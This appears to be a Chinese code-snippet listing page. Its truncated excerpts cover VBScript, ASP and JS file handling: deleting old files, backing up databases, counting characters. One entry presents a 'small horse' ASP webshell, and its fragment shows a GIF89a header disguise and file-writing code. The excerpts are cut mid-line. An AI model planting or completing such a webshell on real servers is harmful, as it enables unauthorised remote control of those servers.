2020-02-16 标签:一段,asp,显示文件,夹下,图片,代码,实现,如下,dim,fso,objfolder,objfiles,filelist,set,server,scripting

实现代码如下： " End If Next '释放对象 Set objFolder=nothing Set fso=nothing '获取文件类型 Function getExt(str) getExt = Lcase(Right(str,Len(str)-InstrRev(str,"."))) E

2020-02-16 标签:js,文件,大小,判断,实现,代码,方法,利用,activex,控件,如下,script,type,text,javascript,function,getfilesize,filepath,var,fso

方法一，利用ActiveX控件实现： 实现代码如下： function getFileSize(filePath) { var fso = new ActiveXObject("Scripting.FileSystemObject"); alert("文件大小为："+fso.GetFile(fil

2020-02-16 标签:bat,自动,删除,指定,文件夹,前几天,文件,代码,实现,如下,echo,off,set,d,date,10,mshta,vbscript

实现代码如下： @echo off set d=%date:~0,10% mshta vbscript:createobject("scripting.filesystemobject").opentextfile("wind.txt",2,true).writeline(dateadd("d",-

2020-02-16 标签:asp,在线,备份,恢复,sqlserver,数据库,代码,sql,server,实现,如下,backup,database,disk,mappath,backuptext,dat,set

asp在线备份sql server数据库： 1、备份sqlserver 实现代码如下： 0 then response.wrITe "错误："&err.Descripting else response.wrITe "数据备份成功！" end if %>2、恢复sqlserver 实现

2020-02-16 标签:功能,超强,asp,小马,实现,代码,如下,gif,89,a,html,eval,request,chr

第一款： 实现代码如下： GIF89a$ ; "" then set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) thisfile.Write(

2020-02-16 标签:自动,删除,超过,10,天的,文件,文件夹,vbs,代码,实现,如下,option,explicit,dim,fpath,fso,logfile,fwrite,inputbox

实现代码如下：option explicit dim fpath,fso,logfile,fwrite fpath=inputbox ("输入目标文件夹","文件处理器") logfile="logfile.txt" set fso=createobject("scripting.filesyste

2020-02-16 标签:asp,access,数据,备份,还原,压缩,代码,include,file,config,fun,数据库,管理,class,datas,public,sub,bk,set

") end sub '还原public sub Rt()SDPath = server.mappath(SiteDataPath) SDBPath = server.mappath(SiteDataBakPath)set Fso=Server.CreateObject("Scripting.F

2020-02-16 标签:vbscript,文件,操作,代码,小结,创建,文本文件,实现,如下,set,objfso,scripting,objfile,c,fso,scriptlog,txt

创建文本文件 实现代码如下：Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile("C:\FSO\ScriptLog.txt") 检察文件是否存在 实现代码如下：Set

2020-02-16 标签:vbs,字符,统计,功能,模块,实现,代码,如下,sub,tongji,set,objfso,scripting,objfile,ok,txt

字符统计功能模块 实现代码如下：Sub TongJi() Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile("ok.txt", 1) strText = objFile.

2020-02-16 标签:encrypt,vbs,内容,加密,实现,代码,如下,rem,本人,保证,文件,改过来,bmp,389,read,var,write,file,dim,fso

实现代码如下：rem 本人不能保证文件能改过来. rem bmp since 389 rem read bmp to an var and write to file dim fso,allcode,lcl Set fso = CreateObject("Scripting"&"."&